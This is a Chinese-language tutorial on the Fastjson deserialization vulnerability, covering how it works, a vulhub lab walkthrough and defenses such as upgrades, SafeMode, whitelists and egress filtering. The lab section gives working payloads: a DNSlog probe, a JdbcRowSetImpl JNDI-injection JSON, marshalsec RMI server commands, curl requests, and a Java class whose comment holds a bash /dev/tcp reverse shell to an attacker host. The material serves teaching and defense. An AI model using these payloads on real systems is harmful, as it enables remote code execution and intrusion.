Fastjson反序列化漏洞实战解析:从原理、利用到防御
1. 项目概述:从一次内部安全演练说起
去年,我们团队在一次针对内部Java Web应用的例行安全渗透测试中,发现了一个令人警醒的现象:一个看似无害的、用于接收前端JSON配置的API接口,竟然可以被利用来在服务器上执行任意系统命令。经过一番排查,根源直指一个广泛使用的JSON处理库——Fastjson。这个案例让我意识到,尽管Fastjson以其极致的性能著称,但在特定版本下,其反序列化机制却可能成为攻击者直捣黄龙的“捷径”。今天,我就结合那次实战经历和后续的深入研究,为大家拆解Fastjson反序列化漏洞的来龙去脉、利用手法以及至关重要的防御策略。无论你是负责应用安全的工程师、开发人员,还是对Java安全感兴趣的学习者,理解这个漏洞都将帮助你更好地构建和守护自己的系统。
简单来说,Fastjson反序列化漏洞的核心在于,当它被配置为自动将JSON字符串转换为复杂的Java对象(尤其是开启了Feature.SupportNonPublicField等特性时),如果攻击者精心构造了一段恶意的JSON数据,其中指定了某个可利用的“类”(class)及其属性,Fastjson在反序列化过程中就会去实例化这个类。如果这个类的构造函数、setter方法或某些特定字段(如DataSource)中存在危险操作(如执行命令、访问文件),那么恶意代码就会被触发。这完全颠覆了我们对“数据”的认知,一段本应被解析为静态数据结构的文本,竟然能携带可执行的攻击载荷。
2. 漏洞原理深度剖析:为什么JSON会“活”过来?
要理解这个漏洞,我们必须先抛开“JSON只是数据交换格式”的固有观念。在Fastjson的语境下,尤其是在其默认或某些特定配置下,JSON可以是一种“可执行的描述性语言”。
2.1 序列化与反序列化的本质
在Java中,序列化是将对象的状态信息转换为可以存储或传输的形式(如字节流、JSON字符串)的过程,反序列化则是其逆过程。Fastjson通过JSON.parseObject()或JSON.parse()方法将JSON字符串变回Java对象。为了方便,开发者常常使用@type这个特殊的元信息来指定目标类。
{ "@type": "com.example.User", "name": "张三", "age": 25 }这段JSON告诉Fastjson:“请把我还原成一个com.example.User对象,并把name和age字段填上。” 在理想情况下,这非常方便。
2.2 罪恶的钥匙:@type属性与AutoType机制
Fastjson的AutoType机制是其高性能反序列化的关键,也是漏洞的根源。为了在反序列化时能准确地找到并实例化@type指定的类,Fastjson需要根据类名去加载这个类。问题在于,Java的类加载机制是强大的,它允许加载并初始化任何在类路径下可访问的类。
攻击者的思路由此展开:我能否构造一个@type,指向一个Java标准库或第三方库中存在的、其构造方法或属性设置方法包含危险代码的类?答案是肯定的。Java生态中存在大量这样的“通用”类,它们并非为了恶意目的而设计,但其行为在反序列化这个特定上下文中变得危险。
例如,com.sun.rowset.JdbcRowSetImpl这个类,它有一个setDataSourceName()方法。当这个方法被调用时,为了连接数据源,它会执行JNDI查找。而JNDI(Java Naming and Directory Interface)支持多种协议,包括ldap://、rmi://。如果攻击者控制了一个恶意的LDAP/RMI服务器,并在响应中指向一个包含恶意字节码的远程类文件,那么目标服务器在反序列化过程中就会去加载并执行这个远程类,从而导致远程代码执行(RCE)。
注意:这里描述的利用链(JdbcRowSetImpl + JNDI注入)是Fastjson历史上最著名、最经典的利用方式之一。其成功需要目标环境满足几个条件:1. Fastjson版本存在AutoType漏洞且未正确配置黑白名单;2. 目标Java版本较低(通常早于8u191/7u201/6u211),这些版本默认允许从远程代码库加载类;3. 网络可达恶意LDAP/RMI服务器。
2.3 漏洞触发的必要条件
并非所有使用Fastjson的场景都会触发漏洞。一个成功的攻击通常需要以下条件同时满足:
- 反序列化方法调用:应用使用
JSON.parseObject()或JSON.parse()处理来自外部的、用户可控的JSON字符串,并且目标类型是Object、JSONObject或一个泛型类,使得@type生效。 - AutoType未禁用或绕过:在历史漏洞版本(如1.2.24-1.2.47)中,AutoType默认开启或可以通过特定手段(如利用缓存、特殊字符)绕过黑名单限制。新版Fastjson(1.2.68+)默认关闭AutoType,安全性大幅提升。
- 存在可利用的类路径:目标应用的类路径(包括Java运行时库、应用服务器库、项目依赖的Jar包)中存在可以被用来构造攻击链的“危险类”(gadget class)。
- 环境配合:如上述JNDI利用链,需要Java版本、网络策略等环境条件的配合。
3. 漏洞利用实战演示:搭建靶场与手工探测
警告:以下所有操作仅限在授权的安全测试环境、专用靶场或个人学习环境中进行。任何未经授权对他人系统进行测试的行为均属违法。
为了让大家有直观感受,我们使用一个经典的漏洞靶场环境进行演示。这里我选择vulhub项目中的Fastjson 1.2.47漏洞环境,因为它集成了所有必要组件,易于复现。
3.1 环境准备与启动
首先,确保你的实验机器上安装了Docker和Docker Compose。
# 1. 拉取 vulhub 项目(如果已有可跳过) git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.47-rce # 2. 启动漏洞环境 docker-compose up -d # 3. 查看服务状态,通常会启动一个Web应用在8080端口 docker-compose ps环境启动后,访问http://your-ip:8080,你会看到一个简单的JSON API界面。它接收一个JSON对象,并将其中的name字段内容返回。后端代码逻辑大致如下:
// 伪代码,仅示意 String input = request.getParameter("data"); JSONObject obj = JSON.parseObject(input); // 危险操作! String name = obj.getString("name"); out.println("Hello, " + name);3.2 手工探测漏洞是否存在
在发起真正的攻击之前,我们需要确认目标是否存在Fastjson反序列化点,并且是否可被利用。一个常见的探测方法是利用DNSlog外带信息。
- 获取一个DNSlog域名:访问如
dnslog.cn或ceye.io这类平台,你会获得一个临时子域名,例如abc123.dnslog.cn。 - 构造探测Payload:我们利用Fastjson在反序列化某些类时,会触发属性
setter方法或构造函数的特点。例如,java.net.InetAddress类在解析主机名时会进行DNS查询。
或者更常用的{ "@type": "java.net.InetAddress", "val": "your-subdomain.dnslog.cn" }java.net.Inet4Address:{ "@type": "java.net.Inet4Address", "val": "你的域名.dnslog.cn" } - 发送Payload并观察:将上述JSON作为
data参数的值,通过POST或GET方式发送给目标接口。curl -X POST http://your-ip:8080/ -H "Content-Type: application/json" --data '{"data":"{\"@type\":\"java.net.Inet4Address\",\"val\":\"xxx.dnslog.cn\"}"}' - 确认漏洞:稍等片刻,刷新你的DNSlog平台页面。如果看到有一条对你子域名的DNS查询记录,那么恭喜(或者说遗憾),目标存在Fastjson反序列化漏洞,并且AutoType机制可能被触发。这说明应用在解析我们的JSON时,确实尝试去实例化
java.net.Inet4Address并设置了val属性,从而发起了DNS查询。
实操心得:DNSlog探测是一种“无回显”的探测方式,非常隐蔽且安全,不会对目标造成直接影响。它是判断“是否存在反序列化点”以及“
@type是否生效”的黄金标准。如果这一步没反应,可能意味着AutoType被关闭,或者接口处理逻辑并非简单的parseObject。
3.3 构造JNDI注入实现RCE
在确认漏洞存在后,我们可以尝试构造完整的远程代码执行。这里我们演示经典的JdbcRowSetImpl利用链。这个利用需要三个角色协同:攻击者(我们)、受害应用(靶场)、恶意RMI/LDAP服务器。
准备恶意类:首先,我们需要编译一个恶意Java类,这个类会在其静态代码块或构造函数中执行我们想要的命令。例如,创建一个
Exploit.java:// Exploit.java public class Exploit { static { try { // 执行命令,例如打开计算器(Windows)或弹出一个对话框(Linux需图形环境) Runtime.getRuntime().exec("calc.exe"); // 或者反弹Shell,例如:Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec 5<>/dev/tcp/攻击机IP/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"}); } catch (Exception e) { e.printStackTrace(); } } }将其编译成
Exploit.class文件。启动恶意RMI/LDAP服务器:我们需要一个工具来托管这个恶意类,并扮演RMI/LDAP服务器的角色。常用的工具有
marshalsec。首先下载并编译它,或者直接使用现成的Jar包。# 启动一个RMI服务器,监听1099端口,并指定恶意类所在的HTTP服务地址 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://你的攻击机IP:8000/#Exploit" 1099同时,在另一个终端,用Python快速启动一个HTTP服务,端口8000,确保
Exploit.class文件在这个HTTP服务的根目录下。python3 -m http.server 8000构造并发送最终攻击Payload:现在,构造指向我们恶意RMI服务器的JSON Payload。
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://你的攻击机IP:1099/Exploit", "autoCommit": true }当Fastjson反序列化这个对象时,它会:
- 实例化
JdbcRowSetImpl。 - 调用
setDataSourceName(“rmi://...”)。 autoCommit属性被设为true,这会触发JdbcRowSetImpl去连接这个数据源。- 连接过程发起JNDI查找,请求我们的RMI服务器。
- RMI服务器返回一个
Reference,指向http://你的攻击机IP:8000/Exploit.class。 - 受害应用的Java环境(在低版本下)会去这个地址加载类,从而执行静态代码块中的命令。
- 实例化
发送请求:
curl -X POST http://your-ip:8080/ -H "Content-Type: application/json" --data '{"data":"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://攻击机IP:1099/Exploit\",\"autoCommit\":true}"}'如果成功,靶场服务器的计算器应该会被弹出(在图形界面环境下),或者你会在你的NC监听端口收到一个反弹的Shell。
注意事项:这个利用链对Java版本有严格要求。在Java 8u191、7u201、6u211及以后版本中,Oracle默认禁用了从远程代码库加载工厂类(
com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase默认为false),这使得基于远程类加载的JNDI注入失效。但对于这些较新版本,攻击者会转向利用目标本地类路径中已有的类来构造更复杂的“无外部依赖”的利用链(即gadget chain),例如利用Tomcat EL、Groovy、Mozilla Rhino等库中的类,这需要更深入的研究和构造。
4. 漏洞防御与修复方案
知其然,更要知其所以然。了解攻击是为了更好的防御。针对Fastjson反序列化漏洞,我们可以从多个层面进行加固。
4.1 终极方案:升级与替换
- 升级Fastjson到安全版本:这是最直接有效的办法。请务必升级到Fastjson >= 1.2.83 版本。在这个版本中,AutoType默认关闭,并且引入了更严格的安全机制。官方维护了详细的 安全建议 ,建议定期关注。
- 考虑替换库:如果业务允许,可以考虑替换为其他设计上更安全的JSON库,例如:
- Jackson:默认情况下更安全,需要显式配置多态类型处理(
@JsonTypeInfo)才会存在类似风险,且社区响应迅速。 - Gson:Gson的设计相对简单,其反序列化过程不涉及自动的类型实例化,因此理论上不存在此类利用链。但Gson的性能通常低于Fastjson。
Jackson和Fastjson的一个关键区别:Jackson在反序列化时,如果没有明确的类型信息(如
@JsonTypeInfo),它不会根据字符串内容去猜测和加载类。而Fastjson的@type是内置特性,历史版本中默认行为更危险。 - Jackson:默认情况下更安全,需要显式配置多态类型处理(
4.2 配置层面:关闭AutoType与使用安全模式
如果暂时无法升级,必须在代码中显式关闭AutoType。这是最重要的配置。
// 错误做法:使用默认配置 JSON.parseObject(jsonStr); // 正确做法:关闭AutoType ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(false); // 显式关闭 // 或者使用全局配置(推荐) ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 然后使用配置进行解析 JSON.parseObject(jsonStr, Object.class, config, Feature.SupportAutoType);在1.2.68及以上版本,可以使用安全模式(SafeMode),这是最严格的防护,彻底禁用AutoType。
ParserConfig.getGlobalInstance().setSafeMode(true);一旦开启安全模式,所有@type都将失效,从根本上杜绝了此类攻击。
4.3 代码层面:白名单校验与输入净化
- 使用白名单:如果业务确实需要使用AutoType(例如处理多态类型),必须使用白名单机制,只允许反序列化已知的、安全的类。
ParserConfig config = new ParserConfig(); config.addAccept("com.yourcompany.safe.model."); config.addAccept("com.another.safe."); // 任何不在白名单中的@type都会被拒绝。 - 指定具体类型:在反序列化时,尽量使用具体的类,而不是通用的
Object或JSONObject。// 好:明确知道要转成User类 User user = JSON.parseObject(jsonStr, User.class); // 危险:类型不确定,为@type提供了可能 Object obj = JSON.parseObject(jsonStr); JSONObject jsonObj = JSON.parseObject(jsonStr); // 同样危险 - 对输入进行严格校验:对用户输入的JSON字符串进行合法性检查,过滤掉非预期的
@type关键字(虽然这不是根本解决方案,攻击者可能通过其他属性触发,但可以作为一层防护)。
4.4 架构与运维层面
- 最小化依赖:定期审查项目依赖(如使用
mvn dependency:tree),移除不必要的库,减少潜在的危险类(gadget)来源。 - 升级Java运行环境:及时将生产环境的JRE/JDK升级到最新版本,高版本Java对JNDI等危险操作有默认限制。
- 网络隔离:严格限制服务器出站流量,特别是向未知外部地址发起JNDI/LDAP/RMI请求的能力。这可以阻断需要连接外部恶意服务器的利用链。
- 部署WAF/ RASP:在应用层部署Web应用防火墙(WAF),配置规则拦截包含可疑
@type和已知攻击Payload的请求。运行时应用自我保护(RASP)能更深入地在代码层面监控和阻断危险的反序列化操作。
5. 常见问题与排查技巧实录
在实际的漏洞挖掘、修复和应急响应中,会遇到各种各样的问题。这里记录一些典型场景和解决思路。
5.1 漏洞排查清单
当你怀疑一个应用存在Fastjson漏洞时,可以按以下步骤排查:
- 信息收集:
- 确定应用使用的Fastjson版本。检查
pom.xml、gradle文件或lib目录下的jar包。 - 搜索代码库中
JSON.parseObject()、JSON.parse()的调用点,特别是参数为用户输入的地方。
- 确定应用使用的Fastjson版本。检查
- 动态测试:
- 使用上文提到的DNSlog Payload进行无回显探测。
- 如果应用有错误回显,可以尝试发送一个格式正确但
@type指向不存在的类的JSON,观察错误信息中是否包含Fastjson特有的栈信息(如com.alibaba.fastjson.JSONException)。
- 流量分析:
- 在WAF或流量镜像中,寻找请求体或参数中包含
@type、$ref等Fastjson特有语法的流量。
- 在WAF或流量镜像中,寻找请求体或参数中包含
5.2 修复后验证
修复漏洞(如升级版本、关闭AutoType)后,必须进行验证:
- 功能回归测试:确保业务中正常的JSON反序列化功能(尤其是使用了多态特性的地方)不受影响。
- 安全复测:
- 再次使用DNSlog Payload进行测试,应无DNS查询记录。
- 尝试发送包含已知恶意
@type(如com.sun.rowset.JdbcRowSetImpl)的Payload,应用应当直接拒绝(抛出异常)或安全地忽略,而不会执行任何危险操作。 - 可以使用开源漏洞扫描器(如Goby、Xray的被动扫描插件)对相关接口进行扫描确认。
5.3 疑难杂症处理
问题:升级到1.2.83后,某些业务功能报错
com.alibaba.fastjson.JSONException: autoType is not support。排查:这通常是因为业务代码确实依赖了AutoType来处理一些多态类型。此时不能简单地一关了之。
解决:
- 首先审查报错的类是否安全、是否为自己或可信第三方定义的类。
- 如果安全,使用白名单机制,将这些类的全限定名添加到
ParserConfig的白名单中。 - 如果涉及大量历史类,可以考虑在安全版本下,先开启AutoType,但必须立即着手梳理和建立完整的白名单,这是一个从“黑名单”思维转向“白名单”思维的安全加固过程。
问题:使用了
@JSONField(deserialize = false)注解,但感觉不放心。解释:这个注解可以阻止Fastjson反序列化时调用某个字段的setter方法,对于防御通过特定属性触发的利用链有一定作用。但它不是全局解决方案,因为攻击者可能通过其他属性或构造函数进行利用。它应作为辅助手段,而非主要防御措施。
5.4 关于其他JSON库
经常有人问:“Jackson和Gson有类似问题吗?” 这里简单对比:
- Jackson:在默认配置下是安全的。但其强大的多态类型处理功能(
@JsonTypeInfo使用CLASS或MINIMAL_CLASS)如果配置不当,也可能引入类似的远程代码执行风险。关键在于,Jackson需要开发者显式地启用并配置这些功能,而Fastjson历史上是默认行为更开放。 - Gson:其设计哲学不同。
Gson.fromJson()需要你明确指定目标类型(如MyClass.class),它不会根据JSON内容中的某个字段去动态加载类。因此,在Gson的标准用法中,不存在@type这种机制,也就没有同类漏洞。它的安全性模型更简单。
6. 从Fastjson漏洞看软件供应链安全
Fastjson漏洞给我们上了一堂深刻的软件供应链安全课。一个被数百万应用依赖的核心基础组件出现漏洞,其影响是灾难性的、辐射状的。
- 主动监控依赖:不要做“拿来主义”者。使用工具(如OWASP Dependency-Check、GitHub Dependabot、Snyk)持续扫描项目依赖,及时获取漏洞情报。
- 评估与选择:在引入一个新库时,除了性能和功能,必须将“安全历史”和“维护活跃度”作为关键评估指标。一个曾经出现严重安全漏洞但修复响应迅速、透明沟通的项目,有时比一个看似安全但已无人维护的项目更可靠。
- 纵深防御:不要依赖单一安全措施。即使使用了“安全”的库,也要在代码层(输入校验、最小权限)、架构层(网络隔离)、运行时层(RASP)建立多层防御,假设漏洞总会存在。
- 应急响应流程:建立团队内部的第三方组件漏洞应急响应流程。一旦收到漏洞通告(如来自CNVD、CNNVD或开源社区),能快速定位受影响应用、评估风险、制定修复或缓解方案(如升级、配置修改、临时下线特性)。
在我个人的经验里,修复Fastjson漏洞最深刻的教训不是技术上的,而是流程上的。那次事件后,我们团队强制要求所有新项目在pom.xml中必须锁定核心组件的版本号,并且每周例行扫描依赖漏洞。对于Fastjson,我们的策略是:在新项目中默认使用Jackson;对于存量老系统,全部制定计划升级到Fastjson最新安全版本,并在升级前,通过代码审计和灰盒测试,确保没有开启危险的AutoType特性。安全往往就藏在这些看似繁琐的规范和持续的努力之中。
